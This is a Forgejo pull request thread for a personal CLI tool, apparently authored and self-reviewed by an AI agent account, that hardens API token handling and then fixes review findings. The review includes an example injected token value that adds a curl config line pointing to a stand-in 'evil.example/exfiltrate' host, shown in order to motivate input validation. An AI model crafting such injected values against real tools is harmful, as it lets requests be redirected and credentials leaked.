allod/tools
2
0
Fork 0
Code Issues 13 Pull requests Projects Releases Packages Wiki Activity Actions

forge: argv-safe auth handling #56

Merged
vnprc merged 8 commits from agent/argv-safe-auth into master 2026-06-22 13:39:43 +01:00
Conversation 5 Commits 8 Files changed 7 +352 -97
vnprc-agent commented 2026-06-22 00:10:46 +01:00
Contributor
Copy link

Summary

  • Route all Forgejo API calls through curl --config - so the Authorization header never appears in child process argv
  • forge token verify is now stdin-only; --token and --token-file are rejected
  • New forge auth status command verifies configured credentials without exposing token material
  • Mock curl actively rejects -H Authorization:* in argv (exit 99), enforcing the invariant across all test suites

Validation

Run all forge test suites from the repo root:

bash tests/forge/token.sh
bash tests/forge/auth.sh
bash tests/forge/read.sh
bash tests/forge/mutations.sh
bash tests/forge/validation.sh
bash tests/forge/help.sh
bash tests/forge/issue-close.sh

All 119 tests should pass. In particular:

  • token.sh confirms stdin-only verification and --token/--token-file rejection
  • auth.sh confirms configured-token status checks and --show-token/auth token rejection
  • Every suite implicitly tests the argv-safety invariant via the hardened mock curl
## Summary - Route all Forgejo API calls through `curl --config -` so the Authorization header never appears in child process argv - `forge token verify` is now stdin-only; `--token` and `--token-file` are rejected - New `forge auth status` command verifies configured credentials without exposing token material - Mock curl actively rejects `-H Authorization:*` in argv (exit 99), enforcing the invariant across all test suites ## Validation Run all forge test suites from the repo root: ``` bash tests/forge/token.sh bash tests/forge/auth.sh bash tests/forge/read.sh bash tests/forge/mutations.sh bash tests/forge/validation.sh bash tests/forge/help.sh bash tests/forge/issue-close.sh ``` All 119 tests should pass. In particular: - `token.sh` confirms stdin-only verification and `--token`/`--token-file` rejection - `auth.sh` confirms configured-token status checks and `--show-token`/`auth token` rejection - Every suite implicitly tests the argv-safety invariant via the hardened mock curl 
Route all Forgejo API calls through curl --config - so the
Authorization header never appears in process argv. Replace eager
token loading with lazy load_token() so token verify can operate
without a configured credential.

token verify: stdin-only, rejects --token and --token-file.
auth status: new command to verify configured credentials without
exposing token material. auth token: explicitly blocked.

Mock curl now rejects -H Authorization in argv (exit 99), enforcing
the invariant across every test suite.

Closes #55
Switch api(), token_verify(), and auth_status() from piped
--config - to --config <(printf ...) so stdin stays free for
future use.

Add TTY guard to token verify: bare invocation on a terminal
exits immediately with a usage hint instead of hanging.

Document safe calling patterns in README so users avoid putting
tokens in shell history or argv.
vnprc-agent commented 2026-06-22 04:49:00 +01:00
Author
Contributor
Copy link

Design discussion: credential handling posture

How serious tools handle this

The gold standard tools all converge on the same pattern: secrets flow through stdin/stdout pipes or Unix sockets between cooperating processes, never through argv, and storage is delegated to a pluggable backend.

  • git — credential helper protocol. Credentials move over stdin/stdout between git and a pluggable backend (OS keychain, file store). Git itself never touches raw credentials in argv.
  • Docker — deprecated --password in favor of --password-stdin and the same credential helper pattern.
  • SSH — agent holds keys in memory, communicates via Unix socket. Keys never leave the agent process.
  • GPG — pinentry opens its own secure input channel. Passphrase never touches the calling process's stdin/argv.
  • AWS CLI — config files, credential_process helper, instance metadata. Never puts secrets in argv.

Where forge sits now

This PR addresses the lowest-hanging fruit: curl argv exposure. That follows an established convention every serious tool observes. The specific changes:

  1. curl --config <(printf ...) — auth header passes through a file descriptor, never in process arguments or on stdin. Keeps stdin free for future use.
  2. token verify is stdin-only with TTY detection — bare invocation errors immediately instead of hanging.
  3. auth status verifies configured credentials without exposing material.
  4. Mock curl rejects -H Authorization:* in argv (exit 99) — the invariant is enforced across every test suite.
  5. README documents safe calling patterns — read -rs + printf instead of echo $TOKEN |.

What this does NOT address

  • FORGEJO_TOKEN env var has the same /proc/PID/environ visibility as /proc/PID/cmdline. We hardened one channel while leaving a wider one open. Env vars persist for the entire shell session and are inherited by every child process. Filed as a separate issue.
  • Plaintext token file is protected by file permissions only. This is the universal fallback (AWS, Docker, gh all do it), but it's not defense in depth.
  • No OS keychain / credential helper — the right endgame but premature for a single-user tool with one Forgejo instance.
  • Short-lived tokens would reduce the blast radius of any exposure, but that's a Forgejo server-side configuration question.

Reasonable security posture for this tool

forge is a personal-infra CLI running on single-user NixOS VMs. The threat model is narrow: the primary risk is accidental exposure (logs, history, dotfile repos) rather than active process snooping. Given that:

  • Argv-safe curl: worth doing, low cost, follows conventions. Done.
  • TTY detection and safe calling docs: prevent the most common misuse. Done.
  • Env var deprecation: real inconsistency, needs a migration path. Separate issue.
  • Credential helper protocol: correct endgame, premature investment today.

Proscribed actions (project policy)

These are not just "not yet implemented" — they are explicitly forbidden:

  1. No token-printing commands. No auth token, no --show-token, no equivalent of gh auth token. If a future workflow needs to hand credentials to another tool, build a narrow credential-helper integration for that workflow.
  2. No token argv inputs. No --token <value> on any command. Candidate tokens come from stdin. Configured tokens come from file or env var (with env var under review).
  3. No token display in output. auth status reports the source and validity, never the material. Error messages must not include token values.
  4. No token export to environment. forge must not set or modify env vars containing token material in child processes beyond what the caller already provided.
## Design discussion: credential handling posture ### How serious tools handle this The gold standard tools all converge on the same pattern: secrets flow through stdin/stdout pipes or Unix sockets between cooperating processes, never through argv, and storage is delegated to a pluggable backend. - **git** — credential helper protocol. Credentials move over stdin/stdout between git and a pluggable backend (OS keychain, file store). Git itself never touches raw credentials in argv. - **Docker** — deprecated `--password` in favor of `--password-stdin` and the same credential helper pattern. - **SSH** — agent holds keys in memory, communicates via Unix socket. Keys never leave the agent process. - **GPG** — pinentry opens its own secure input channel. Passphrase never touches the calling process's stdin/argv. - **AWS CLI** — config files, credential_process helper, instance metadata. Never puts secrets in argv. ### Where forge sits now This PR addresses the lowest-hanging fruit: curl argv exposure. That follows an established convention every serious tool observes. The specific changes: 1. **`curl --config <(printf ...)`** — auth header passes through a file descriptor, never in process arguments or on stdin. Keeps stdin free for future use. 2. **`token verify` is stdin-only** with TTY detection — bare invocation errors immediately instead of hanging. 3. **`auth status`** verifies configured credentials without exposing material. 4. **Mock curl rejects `-H Authorization:*` in argv** (exit 99) — the invariant is enforced across every test suite. 5. **README documents safe calling patterns** — `read -rs` + `printf` instead of `echo $TOKEN |`. ### What this does NOT address - **`FORGEJO_TOKEN` env var** has the same `/proc/PID/environ` visibility as `/proc/PID/cmdline`. We hardened one channel while leaving a wider one open. Env vars persist for the entire shell session and are inherited by every child process. Filed as a separate issue. - **Plaintext token file** is protected by file permissions only. This is the universal fallback (AWS, Docker, gh all do it), but it's not defense in depth. - **No OS keychain / credential helper** — the right endgame but premature for a single-user tool with one Forgejo instance. - **Short-lived tokens** would reduce the blast radius of any exposure, but that's a Forgejo server-side configuration question. ### Reasonable security posture for this tool forge is a personal-infra CLI running on single-user NixOS VMs. The threat model is narrow: the primary risk is accidental exposure (logs, history, dotfile repos) rather than active process snooping. Given that: - Argv-safe curl: worth doing, low cost, follows conventions. Done. - TTY detection and safe calling docs: prevent the most common misuse. Done. - Env var deprecation: real inconsistency, needs a migration path. Separate issue. - Credential helper protocol: correct endgame, premature investment today. ### Proscribed actions (project policy) These are not just "not yet implemented" — they are explicitly forbidden: 1. **No token-printing commands.** No `auth token`, no `--show-token`, no equivalent of `gh auth token`. If a future workflow needs to hand credentials to another tool, build a narrow credential-helper integration for that workflow. 2. **No token argv inputs.** No `--token <value>` on any command. Candidate tokens come from stdin. Configured tokens come from file or env var (with env var under review). 3. **No token display in output.** `auth status` reports the source and validity, never the material. Error messages must not include token values. 4. **No token export to environment.** forge must not set or modify env vars containing token material in child processes beyond what the caller already provided. 
token verify: prove it works without any configured credential.
auth status: prove it errors when no credential source exists.
help: add token verify --help and auth status -h coverage.
vnprc-agent commented 2026-06-22 05:10:15 +01:00
Author
Contributor
Copy link

Code Review: PR #56 -- argv-safe auth handling

I read every line of the diff and the full forge script, all test files, the testlib mock infrastructure, and the README. I ran every test suite (all green). Here is what I found.

The Good (Grudgingly)

The overall shape of this PR is correct. Moving the token out of curl -H argv and into --config <(printf ...) is the right move. The token no longer appears in /proc/PID/cmdline of the curl child process. token verify now being stdin-only is a clean design that prevents callers from stuffing secrets into argv. The auth status command is a reasonable addition. The lazy load_token pattern so that token verify and --help don't need a configured credential is well done.

The test coverage is broadly decent. The mock curl's exit-99-on--H Authorization is a good enforcement mechanism. The TTY detection test using script(1) is solid.

That's the end of the compliments.

BUG: Newline injection in --config format (security, real)

This is the one that matters.

--config <(printf 'header = "Authorization: token %s"\n' "$TOKEN")

curl's --config file is parsed line by line. If $TOKEN (or $verify_token) contains a newline character, you get multiple config directives. An attacker-controlled token value like:

legit-token\nurl = "https://evil.example/exfiltrate"

would produce:

header = "Authorization: token legit-token
url = "https://evil.example/exfiltrate""

curl parses the first line as a (broken) header and the second line as a url directive. This is a curl config injection. An attacker who controls the token file or FORGEJO_TOKEN env var can redirect requests, add arbitrary headers, write output to arbitrary files (-o via config), etc.

Yes, Forgejo tokens are hex strings in practice, so the exploit window is narrow. But the entire point of this PR is to establish a security invariant about how auth material is handled. If the invariant is "tokens never appear in argv," the next invariant should be "tokens are validated before use in format strings." At minimum, load_token and token_verify's stdin reader should reject tokens containing newlines, double quotes, and backslashes (all of which curl's config parser interprets specially).

A one-line guard after reading the token would suffice:

[[ "$TOKEN" != *[$'\n\r"\\']* ]] || die "token contains illegal characters"

This applies to all three sites: load_token (line 61), token_verify (line 881), and arguably should be a shared validation function.

BUG: Dead code -- redundant newline strip in token_verify

verify_token=$(cat)
verify_token="${verify_token%$'\n'}"

$(cat) already strips all trailing newlines per POSIX command substitution rules. The ${verify_token%$'\n'} on line 882 is a no-op in every case. It cannot strip anything that $(cat) didn't already strip.

This isn't harmful, but it signals misunderstanding of command substitution semantics. Either remove it or add a comment explaining why it's there (you can't, because there's no reason).

DESIGN: Duplicated HTTP response parsing

token_verify (lines 885-906) and auth_status (lines 929-950) contain 22 lines of nearly identical code: the curl -s -w '\n%{http_code}' call, the tail -1 / sed '$d' parsing, the 200/401/403 case dispatch. Only three lines differ (the token variable name, and the output messages).

Extract a helper. Something like:

_check_token_against_api() {
  local token_value="$1"
  # ... shared curl + parsing logic ...
  # return 0 for success, 1 for failure
  # set REPLY_LOGIN and REPLY_REASON
}

Then token_verify and auth_status become thin wrappers that format the output. Right now, if you need to change the HTTP handling (and you might, given the injection bug above), you have to change it in two places.

DESIGN: load_token does not strip \r from token files

TOKEN="$(cat "$FORGE_TOKEN_FILE")"

If the token file was edited on Windows or transferred with CRLF line endings, $TOKEN will contain a trailing \r. This \r will be sent as part of the Authorization header, causing silent 401 failures that are maddening to debug. The token_verify stdin path has the same issue -- $(cat) strips \n but not \r.

Consider:

TOKEN="${TOKEN%$'\r'}"

TEST GAP: Mock curl does not validate auth for non-/user endpoints

The mock curl only checks auth_header for the /api/v1/user endpoint:

*/api/v1/user)
    if [[ "$auth_header" == *"valid-token"* ]]; then

Every other endpoint (pulls, issues, etc.) returns canned success responses regardless of whether authentication was provided, or even whether the --config directive was parsed correctly. If api() silently failed to pass auth (e.g., due to the --config path breaking), every test except the auth/token tests would still pass.

This is security theater in the test suite. The mock should record the auth_header value and at least one test for a normal API call (e.g., pr list) should assert that authentication was actually transmitted. Otherwise you're testing that the mock returns JSON, not that auth works.

TEST GAP: No test for tokens containing special characters

Given the injection bug above, there should be tests for:

  • Token with embedded newline
  • Token with embedded double quote
  • Token with embedded backslash
  • Token with leading/trailing whitespace
  • Token with \r (carriage return)

None of these exist. The test tokens are all clean alphanumeric strings.

MINOR: script -qc portability in TTY test

output=$(script -qc "$ROOT/forge token verify" /dev/null 2>&1) || true

script -q and script -c flags are GNU-specific. On BSD/macOS, script has different syntax (script -q /dev/null command args). This will fail on macOS.

Given this is a NixOS environment, this is fine in practice. But if portability ever matters, this is the first thing that breaks.

MINOR: auth token Easter egg is untested for exit code

output=$(run_capture auth token 2>&1) || true
assert_contains "$output" "not a command" "auth token is not a command"

The test checks the message but not that the command actually fails (non-zero exit). The || true swallows the exit code. This is consistent with how run_fail works elsewhere, but the auth test doesn't use run_fail -- it uses run_capture || true directly, which is weaker.

NITS

  1. The help text for token verify says Usage: producer | forge token verify where "producer" is a placeholder. This is clear enough but slightly unusual -- most tools show <command> or just describe the pipe pattern in the description.

  2. The auth status rejection of --show-token is proactive defense against a flag that doesn't exist. That's fine but the test comment says "rejects --show-token flag" as if it's a real flag being blocked. A comment noting this is preventive would help future readers.

Summary

The PR achieves its stated goal: tokens no longer appear in curl's argv. The token verify stdin redesign and auth status addition are clean. But the --config format has an injection vector via newline characters in tokens, and the test suite doesn't validate that auth actually reaches non-/user API endpoints. The duplicated HTTP handling will bite you on the next change.

Fix the newline injection. Add token validation. Deduplicate the HTTP helper. The rest is solid work.

## Code Review: PR #56 -- argv-safe auth handling I read every line of the diff and the full forge script, all test files, the testlib mock infrastructure, and the README. I ran every test suite (all green). Here is what I found. --- ### The Good (Grudgingly) The overall shape of this PR is correct. Moving the token out of `curl -H` argv and into `--config <(printf ...)` is the right move. The token no longer appears in `/proc/PID/cmdline` of the curl child process. `token verify` now being stdin-only is a clean design that prevents callers from stuffing secrets into argv. The `auth status` command is a reasonable addition. The lazy `load_token` pattern so that `token verify` and `--help` don't need a configured credential is well done. The test coverage is broadly decent. The mock curl's exit-99-on-`-H Authorization` is a good enforcement mechanism. The TTY detection test using `script(1)` is solid. That's the end of the compliments. --- ### BUG: Newline injection in `--config` format (security, real) This is the one that matters. ```bash --config <(printf 'header = "Authorization: token %s"\n' "$TOKEN") ``` curl's `--config` file is parsed **line by line**. If `$TOKEN` (or `$verify_token`) contains a newline character, you get multiple config directives. An attacker-controlled token value like: ``` legit-token\nurl = "https://evil.example/exfiltrate" ``` would produce: ``` header = "Authorization: token legit-token url = "https://evil.example/exfiltrate"" ``` curl parses the first line as a (broken) header and the second line as a `url` directive. This is a **curl config injection**. An attacker who controls the token file or `FORGEJO_TOKEN` env var can redirect requests, add arbitrary headers, write output to arbitrary files (`-o` via config), etc. Yes, Forgejo tokens are hex strings in practice, so the exploit window is narrow. But the entire point of this PR is to establish a security invariant about how auth material is handled. If the invariant is "tokens never appear in argv," the next invariant should be "tokens are validated before use in format strings." At minimum, `load_token` and `token_verify`'s stdin reader should reject tokens containing newlines, double quotes, and backslashes (all of which curl's config parser interprets specially). A one-line guard after reading the token would suffice: ```bash [[ "$TOKEN" != *[$'\n\r"\\']* ]] || die "token contains illegal characters" ``` This applies to all three sites: `load_token` (line 61), `token_verify` (line 881), and arguably should be a shared validation function. --- ### BUG: Dead code -- redundant newline strip in `token_verify` ```bash verify_token=$(cat) verify_token="${verify_token%$'\n'}" ``` `$(cat)` already strips **all** trailing newlines per POSIX command substitution rules. The `${verify_token%$'\n'}` on line 882 is a no-op in every case. It cannot strip anything that `$(cat)` didn't already strip. This isn't harmful, but it signals misunderstanding of command substitution semantics. Either remove it or add a comment explaining why it's there (you can't, because there's no reason). --- ### DESIGN: Duplicated HTTP response parsing `token_verify` (lines 885-906) and `auth_status` (lines 929-950) contain 22 lines of nearly identical code: the `curl -s -w '\n%{http_code}'` call, the `tail -1` / `sed '$d'` parsing, the `200`/`401`/`403` case dispatch. Only three lines differ (the token variable name, and the output messages). Extract a helper. Something like: ```bash _check_token_against_api() { local token_value="$1" # ... shared curl + parsing logic ... # return 0 for success, 1 for failure # set REPLY_LOGIN and REPLY_REASON } ``` Then `token_verify` and `auth_status` become thin wrappers that format the output. Right now, if you need to change the HTTP handling (and you might, given the injection bug above), you have to change it in two places. --- ### DESIGN: `load_token` does not strip `\r` from token files ```bash TOKEN="$(cat "$FORGE_TOKEN_FILE")" ``` If the token file was edited on Windows or transferred with CRLF line endings, `$TOKEN` will contain a trailing `\r`. This `\r` will be sent as part of the Authorization header, causing silent 401 failures that are maddening to debug. The `token_verify` stdin path has the same issue -- `$(cat)` strips `\n` but not `\r`. Consider: ```bash TOKEN="${TOKEN%$'\r'}" ``` --- ### TEST GAP: Mock curl does not validate auth for non-`/user` endpoints The mock curl only checks `auth_header` for the `/api/v1/user` endpoint: ```bash */api/v1/user) if [[ "$auth_header" == *"valid-token"* ]]; then ``` Every other endpoint (pulls, issues, etc.) returns canned success responses regardless of whether authentication was provided, or even whether the `--config` directive was parsed correctly. If `api()` silently failed to pass auth (e.g., due to the `--config` path breaking), every test except the auth/token tests would still pass. This is security theater in the test suite. The mock should record the `auth_header` value and at least one test for a normal API call (e.g., `pr list`) should assert that authentication was actually transmitted. Otherwise you're testing that the mock returns JSON, not that auth works. --- ### TEST GAP: No test for tokens containing special characters Given the injection bug above, there should be tests for: - Token with embedded newline - Token with embedded double quote - Token with embedded backslash - Token with leading/trailing whitespace - Token with `\r` (carriage return) None of these exist. The test tokens are all clean alphanumeric strings. --- ### MINOR: `script -qc` portability in TTY test ```bash output=$(script -qc "$ROOT/forge token verify" /dev/null 2>&1) || true ``` `script -q` and `script -c` flags are GNU-specific. On BSD/macOS, `script` has different syntax (`script -q /dev/null command args`). This will fail on macOS. Given this is a NixOS environment, this is fine in practice. But if portability ever matters, this is the first thing that breaks. --- ### MINOR: `auth token` Easter egg is untested for exit code ```bash output=$(run_capture auth token 2>&1) || true assert_contains "$output" "not a command" "auth token is not a command" ``` The test checks the message but not that the command actually fails (non-zero exit). The `|| true` swallows the exit code. This is consistent with how `run_fail` works elsewhere, but the auth test doesn't use `run_fail` -- it uses `run_capture || true` directly, which is weaker. --- ### NITS 1. The help text for `token verify` says `Usage: producer | forge token verify` where "producer" is a placeholder. This is clear enough but slightly unusual -- most tools show `<command>` or just describe the pipe pattern in the description. 2. The `auth status` rejection of `--show-token` is proactive defense against a flag that doesn't exist. That's fine but the test comment says "rejects --show-token flag" as if it's a real flag being blocked. A comment noting this is preventive would help future readers. --- ### Summary The PR achieves its stated goal: tokens no longer appear in curl's argv. The `token verify` stdin redesign and `auth status` addition are clean. But the `--config` format has an injection vector via newline characters in tokens, and the test suite doesn't validate that auth actually reaches non-`/user` API endpoints. The duplicated HTTP handling will bite you on the next change. Fix the newline injection. Add token validation. Deduplicate the HTTP helper. The rest is solid work.
vnprc-agent commented 2026-06-22 05:14:10 +01:00
Author
Contributor
Copy link

Review response

Accepting the Grand Master's findings. Fixing in this PR:

Security bug — config injection via token newlines. Real and nasty. Adding token validation in load_token() and token_verify() that rejects newlines, double quotes, and backslashes. These characters have no business in a Forgejo API token and would allow arbitrary curl config directives.

Dead code — no-op newline strip. $(cat) already strips trailing newlines per POSIX. Removing the redundant ${verify_token%$'\n'}.

Duplicated HTTP parsing. Extracting a shared verify_token_http helper for token_verify and auth_status.

\r stripping. Adding \r strip in load_token() and token_verify() for Windows-edited token files.

Test gaps:

  • Mock curl will validate auth on all endpoints, not just /api/v1/user
  • Adding special character token tests (newlines, quotes, backslashes, \r)
  • Fixing auth token test to verify non-zero exit code

Not fixing (accepted as-is):

  • script -qc portability: this is NixOS-only tooling
  • --show-token comment clarification: fair nit, but the test name is self-documenting enough
  • producer | help text style: matches the "expected usage" pattern in the issue spec
## Review response Accepting the Grand Master's findings. Fixing in this PR: **Security bug — config injection via token newlines.** Real and nasty. Adding token validation in `load_token()` and `token_verify()` that rejects newlines, double quotes, and backslashes. These characters have no business in a Forgejo API token and would allow arbitrary curl config directives. **Dead code — no-op newline strip.** `$(cat)` already strips trailing newlines per POSIX. Removing the redundant `${verify_token%$'\n'}`. **Duplicated HTTP parsing.** Extracting a shared `verify_token_http` helper for `token_verify` and `auth_status`. **\r stripping.** Adding `\r` strip in `load_token()` and `token_verify()` for Windows-edited token files. **Test gaps:** - Mock curl will validate auth on all endpoints, not just `/api/v1/user` - Adding special character token tests (newlines, quotes, backslashes, `\r`) - Fixing `auth token` test to verify non-zero exit code Not fixing (accepted as-is): - `script -qc` portability: this is NixOS-only tooling - `--show-token` comment clarification: fair nit, but the test name is self-documenting enough - `producer |` help text style: matches the "expected usage" pattern in the issue spec 
Add validate_token() that rejects newlines, double quotes, and
backslashes in token values (curl config injection vector). Strip
trailing \r for Windows-edited token files.

Extract verify_token_http() shared helper to eliminate duplicated
HTTP response parsing between token_verify and auth_status.

Mock curl now validates auth on all API endpoints (not just /user),
records auth headers for assertion, and gates unauthenticated
requests. Add assert_auth helper and auth transmission test on a
normal API call. Add special character token tests (newline, quote,
backslash, carriage return). Fix auth token exit code assertion.
vnprc commented 2026-06-22 05:25:49 +01:00
Owner
Copy link

fix the minor issues and the nit. if we have properly removed --show-token then we should remove all mention of it and no test is required

fix the minor issues and the nit. if we have properly removed `--show-token` then we should remove all mention of it and no test is required
--show-token was never a real flag. Remove the proactive rejection
from auth_status and its test. If it does not exist, there is
nothing to reject.

Change token verify help text from 'producer |' to '<command> |'
to follow standard placeholder conventions.
vnprc-agent force-pushed agent/argv-safe-auth from f109a7a092 to 59c3382d2a 2026-06-22 05:30:07 +01:00 Compare 
No migration needed. The generic unknown-option error is sufficient.
vnprc-agent force-pushed agent/argv-safe-auth from 83d81c5179 to e272a8616e 2026-06-22 13:19:06 +01:00 Compare
vnprc approved these changes 2026-06-22 13:39:36 +01:00
vnprc merged commit 9bc7d6eccf into master 2026-06-22 13:39:43 +01:00
vnprc deleted branch agent/argv-safe-auth 2026-06-22 13:39:43 +01:00
Sign in to join this conversation.
Reviewers
No reviewers
vnprc
Labels
Clear labels
No items
No labels
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
2 participants
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
allod/tools!56
No description provided.